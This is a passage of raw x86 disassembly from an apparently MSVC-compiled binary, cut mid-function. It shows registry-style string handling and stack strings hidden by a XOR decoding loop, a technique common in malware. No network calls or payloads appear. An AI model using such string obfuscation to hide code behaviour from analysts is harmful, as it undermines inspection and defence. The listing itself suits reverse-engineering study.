xor byte [ebp + ecx - 0x97], al
inc ecx
cmp ecx, 7
jb 0x430a30
xor eax, eax
mov byte [ebp - 0x8f], 0
lea ecx, [ebp - 0x97]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c0], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430a77
sub ecx, edx
lea eax, [ebp - 0x97]
push ecx
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402ea0
lea eax, [ebp - 0x1c4]
mov dword [ebp - 4], 0x47
or ebx, 0x80
lea ecx, [ebp - 0x11]
mov dword [ebp - 0x10], ebx
push ecx
lea ecx, [ebp - 0x12]
push ecx
lea ecx, [ebp - 0x1fc]
push ecx
push eax
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x328]
call fcn.0046dee0
mov dword [ebp - 4], 0x48
mov esi, dword [ebp - 0x12c]
push eax
mov ecx, dword [esi + 4]
cmp ecx, dword [esi + 8]
je 0x430aed
call fcn.0047e350
add dword [esi + 4], 0x64
jmp 0x430af5
push ecx
mov ecx, esi
call fcn.004757f0
mov dword [ebp - 4], 0x49
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x1cc], eax
mov byte [ebp - 4], 0x49
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x4c
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x1ac], eax
mov byte [ebp - 4], 0x4c
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x4f
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x128], eax
mov byte [ebp - 4], 0x4f
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x47
lea eax, [ebp - 0x324]
mov dword [ebp - 0x130], eax
mov dword [ebp - 4], 0x47
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x46
test bl, bl
jns 0x430b8f
and ebx, 0xffffff7f
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
mov dword [ebp - 4], 0x44
test bl, 0x40
je 0x430bb4
and ebx, 0xffffffbf
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
jmp 0x430bb4
mov esi, dword [ebp - 0x12c]
mov dword [ebp - 0xa6], 0xb8bcabbb
xor ecx, ecx
mov dword [ebp - 0xa2], 0xbaa3a9b9
mov word [ebp - 0x9e], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xa6], al
inc ecx
cmp ecx, 8
jb 0x430bd3
sub esp, 0x18
mov byte [ebp - 0x9d], 0
lea eax, [ebp - 0xa6]
mov dword [ebp - 0xb4], esp
mov ecx, esp
lea edx, [ebp - 0x214]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x54
mov byte [ebp - 4], 0x44
call fcn.0040b2b0
add esp, 0x18
test al, al
je 0x430e30
mov eax, dword [ebp - 0x5c]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea eax, [eax + ecx*8]
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
jbe 0x430c56
push eax
lea ecx, [ebp - 0xd0]
call fcn.00468b20
mov byte [ebp - 4], 0x55
or ebx, 0x100
jmp 0x430cdc
mov dword [ebp - 0x65], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0x61], 0x99809e
mov byte [ebp - 0x5d], 1
lea ebx, [ebx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x65], al
inc ecx
cmp ecx, 7
jb 0x430c70
xor eax, eax
mov byte [ebp - 0x5d], 0
lea ecx, [ebp - 0x65]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430cb0
sub ecx, edx
lea eax, [ebp - 0x65]
push ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.00402ea0
lea eax, [ebp - 0x178]
mov dword [ebp - 4], 0x56
or ebx, 0x200
lea ecx, [ebp - 0x12]
mov dword [ebp - 0x10], ebx
push ecx
lea ecx, [ebp - 0x11]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push eax
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x38c]
call fcn.0046dee0
mov dword [ebp - 4], 0x57
mov ecx, dword [esi + 4]
push eax
cmp ecx, dword [esi + 8]
je 0x430d1d
call fcn.0047e350
add dword [esi + 4], 0x64
jmp 0x430d25
push ecx
mov ecx, esi
call fcn.004757f0
mov dword [ebp - 4], 0x58
lea eax, [ebp - 0x340]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x58
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x5b
lea eax, [ebp - 0x358]
mov dword [ebp - 0x234], eax
mov byte [ebp - 4], 0x5b
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x5e
lea eax, [ebp - 0x370]
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x5e
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x56
lea eax, [ebp - 0x388]
mov dword [ebp - 0x224], eax
mov dword [ebp - 4], 0x56
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x55
test ebx, 0x200
je 0x430e0d
and ebx, 0xfffffdff
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x430df2
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430de8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov dword [ebp - 4], 0x44
test ebx, 0x100
je 0x430e30
and ebx, 0xfffffeff
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
cmp byte [ebp + 0x68], 0
je 0x43109d
mov dword [ebp - 0x7a], 0xb8bcabbb
xor ecx, ecx
mov dword [ebp - 0x76], 0xbaa3a9b9
mov word [ebp - 0x72], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 8
jb 0x430e50
sub esp, 0x18
mov byte [ebp - 0x71], 0
lea eax, [ebp - 0x7a]
mov dword [ebp - 0x220], esp
mov ecx, esp
lea edx, [ebp - 0x1e4]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x63
mov byte [ebp - 4], 0x44
call fcn.0040b2b0
add esp, 0x18
test al, al
je 0x43109d
mov eax, dword [ebp - 0x5c]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea eax, [eax + ecx*8]
mov byte [ebp - 0x12], 1
mov byte [ebp - 0x11], 0
jbe 0x430ec7
push eax
lea ecx, [ebp - 0x4c]
call fcn.00468b20
mov byte [ebp - 4], 0x64
or ebx, 0x400
jmp 0x430f4c
mov dword [ebp - 0x6f], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0x6b], 0x99809e
mov byte [ebp - 0x67], 1
jmp 0x430ee0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 7
jb 0x430ee0
xor eax, eax
mov byte [ebp - 0x67], 0
lea ecx, [ebp - 0x6f]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430f20
sub ecx, edx
lea eax, [ebp - 0x6f]
push ecx
push eax
lea ecx, [ebp - 0x124]
call fcn.00402ea0
lea eax, [ebp - 0x124]
mov dword [ebp - 4], 0x65
or ebx, 0x800
lea ecx, [ebp - 0x12]
mov dword [ebp - 0x10], ebx
push ecx
lea ecx, [ebp - 0x11]
push ecx
lea ecx, [ebp - 0x1e4]
push ecx
push eax
lea eax, [ebp + 0x50]
push eax
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.0046dee0
mov dword [ebp - 4], 0x66
mov ecx, dword [esi + 4]
push eax
cmp ecx, dword [esi + 8]
je 0x430f8d
call fcn.0047e350
add dword [esi + 4], 0x64
jmp 0x430f95
push ecx
mov ecx, esi
call fcn.004757f0
mov dword [ebp - 4], 0x67
lea eax, [ebp - 0x3a4]
mov dword [ebp - 0x21c], eax
mov byte [ebp - 4], 0x67
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x6a
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x218], eax
mov byte [ebp - 4], 0x6a
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x6d
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x6d
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x65
lea eax, [ebp - 0x3ec]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], 0x65
mov ecx, eax
call fcn.00402c80
mov dword [ebp - 4], 0x64
test ebx, 0x800
je 0x43107d
and ebx, 0xfffff7ff
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x110]
cmp ecx, 0xf
jbe 0x431062
mov edx, dword [ebp - 0x124]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431058
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
mov dword [ebp - 4], 0x44
test ebx, 0x400
je 0x43109d
and ebx, 0xfffffbff
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x1d0]
cmp ecx, 0xf
jbe 0x4310db
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4310d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1d0], 0xf
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x214]
call fcn.00402c80
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0xf
jbe 0x431143
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431139
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov ecx, dword [ebp - 0x58]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x5c]
inc edi
sub ecx, esi
mov dword [ebp - 0x1ec], 0
imul ecx
mov dword [ebp - 0x1e8], 0xf
sar edx, 2
mov eax, edx
mov byte [ebp - 0x1fc], 0
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x4301c2
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x5c]
call fcn.0046ac50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xec]
call fcn.00402c80
mov byte [ebp - 4], 2
lea ecx, [ebp + 8]
call fcn.00402c80
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x20]
call fcn.00402c80
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x38]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x50]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e4d70
call fcn.004025a0
int3